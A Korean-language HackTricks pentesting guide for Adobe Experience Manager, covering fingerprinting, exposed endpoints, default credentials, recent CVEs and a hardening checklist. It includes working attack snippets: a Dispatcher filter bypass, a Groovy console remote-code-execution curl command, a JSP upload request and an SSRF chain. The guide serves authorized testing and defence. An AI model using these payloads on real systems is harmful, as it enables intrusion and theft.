AEM (Adobe Experience Manager) Pentesting
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Adobe Experience Manager (AEM, Adobe Experience Cloud의 일부)는 Apache Sling/Felix (OSGi) 및 Java Content Repository (JCR) 위에서 실행되는 기업 CMS입니다. 공격자의 관점에서 AEM 인스턴스는 종종 위험한 개발 엔드포인트, 약한 Dispatcher 규칙, 기본 자격 증명 및 매 분기마다 패치되는 긴 CVE 목록을 노출합니다.
아래 체크리스트는 실제 참여에서 계속 나타나는 외부에서 접근 가능한 (unauth) 공격 표면에 중점을 둡니다 (2022-2025).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
기타 빠른 지표:
/etc.clientlibs/
정적 경로 존재 (JS/CSS 반환)./libs/granite/core/content/login.html
“Adobe Experience Manager” 배너가 있는 로그인 페이지.</script><!--/* CQ */-->
HTML 하단의 주석.
2. 높은 가치의 인증되지 않은 엔드포인트
경로 | 얻는 것 | 비고 |
---|---|---|
/.json , /.1.json | DefaultGetServlet를 통한 JCR 노드 | 종종 차단되지만, Dispatcher 우회 (아래 참조)가 작동함. |
/bin/querybuilder.json?path=/ | QueryBuilder API | 페이지 트리, 내부 경로, 사용자 이름의 유출. |
/system/console/status-* , /system/console/bundles | OSGi/Felix 콘솔 | 기본적으로 403; 노출되고 자격 증명이 발견되면 ⇒ 번들 업로드 RCE. |
/crx/packmgr/index.jsp | 패키지 관리자 | 인증된 콘텐츠 패키지 → JSP 페이로드 업로드 허용. |
/etc/groovyconsole/** | AEM Groovy 콘솔 | 노출되면 → 임의의 Groovy / Java 실행. |
/libs/cq/AuditlogSearchServlet.json | 감사 로그 | 정보 유출. |
/libs/cq/ui/content/dumplibs.html | ClientLibs 덤프 | XSS 벡터. |
Dispatcher 우회 트릭
대부분의 프로덕션 사이트는 Dispatcher (리버스 프록시) 뒤에 위치합니다. 그 필터 규칙은 허용된 정적 확장을 세미콜론 또는 인코딩된 새 줄 뒤에 추가하여 우회할 수 있습니다:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
단일 요청은 종종 이메일 주소가 포함된 사용자 프로필 노드를 공개합니다. P-T Partners는 이 취약점에 대한 좋은 지침을 발표했습니다. 【】
3. 일반적인 잘못된 구성 (2025년에도 여전히 존재)
- 익명 POST 서블릿 –
POST /.json
에:operation=import
를 사용하면 새로운 JCR 노드를 생성할 수 있습니다. Dispatcher에서*.json
POST를 차단하면 해결됩니다. 【】 - 모두가 읽을 수 있는 사용자 프로필 – 기본 ACL이
/home/users/**/profile/*
에 대해 모든 사용자에게jcr:read
를 부여합니다. - 기본 자격 증명 –
admin:admin
,author:author
,replication:replication
. - WCMDebugFilter 활성화 ⇒
?debug=layout
을 통한 반사형 XSS (CVE-2016-7882, 여전히 레거시 6.4 설치에서 발견됨). - 노출된 Groovy 콘솔 – Groovy 스크립트를 전송하여 원격 코드 실행:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. 최근 취약점 (서비스 팩 주기)
분기 | CVE | 영향 받는 버전 | 영향 |
---|---|---|---|
2024년 12월 | CVE-2024-43711 | 6.5.21 및 이전 | 부적절한 입력 검증 → 임의 코드 실행 (저권한 인증 필요). 【】 |
2024년 12월 | CVE-2024-43724/26 | 6.5.21 및 이전 | Move Page Wizard에서 DOM / 저장된 XSS. 【】 |
2023년 12월 | CVE-2023-48452/68 | ≤ 6.5.18 | 조작된 URL을 통한 DOM 기반 XSS. 【】 |
2022년 12월 | CVE-2022-30683 | ≤ 6.5.13 | 암호 설계 결함 → 비밀 복호화 (저권한 자격 증명 필요). 【】 |
항상 고객의 서비스 팩에 맞는 APSB 게시판을 확인하고 최신 6.5.22 또는 Cloud Service 2024.11을 요청하세요.
5. 악용 스니펫
5.1 Dispatcher 우회 + JSP 업로드를 통한 RCE
익명 쓰기가 가능하다면:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
이제 /content/evil.jsp
를 요청하세요 – JSP는 AEM 프로세스 사용자로 실행됩니다.
5.2 SSRF에서 RCE로 (역사적 < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem-hacker의 aem_ssrf2rce.py
는 전체 체인을 자동화합니다. 【】
6. 도구
- aem-hacker – 스위스 아미 Enumeration 스크립트, 디스패처 우회, SSRF 탐지, 기본 자격 증명 확인 등을 지원합니다.
python3 aem_hacker.py -u https://target --host attacker-ip
- Content Brute-force – 숨겨진 구성 요소를 발견하기 위해
/_jcr_content.(json|html)
를 재귀적으로 요청합니다. - osgi-infect – 자격 증명이 있는 경우
/system/console/bundles
를 통해 악성 OSGi 번들을 업로드합니다.
7. 강화 체크리스트 (보고서 권장 사항용)
- 인스턴스를 최신 누적 서비스 팩(2025년 7월 기준: 6.5.22)으로 유지합니다.
- 기본 계정을 제거/회전하고 SSO/SAML을 시행합니다.
- 디스패처 필터를 강화합니다 – 익명 사용자에 대해
;
, 인코딩된 개행 및*.json
또는*.querybuilder.json
을 거부합니다. - IP 허용 목록으로 콘솔(
/system/console
,/crx/*
,/etc/groovyconsole
)을 비활성화하거나 보호합니다. - Adobe에서 제공하는 익명 권한 강화 패키지를 적용합니다.
참고 문헌
- Adobe 보안 게시판 APSB24-69 – “Adobe Experience Manager에 대한 보안 업데이트(2024년 12월)”.
- 0ang3el – aem-hacker 도구 (GitHub).
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.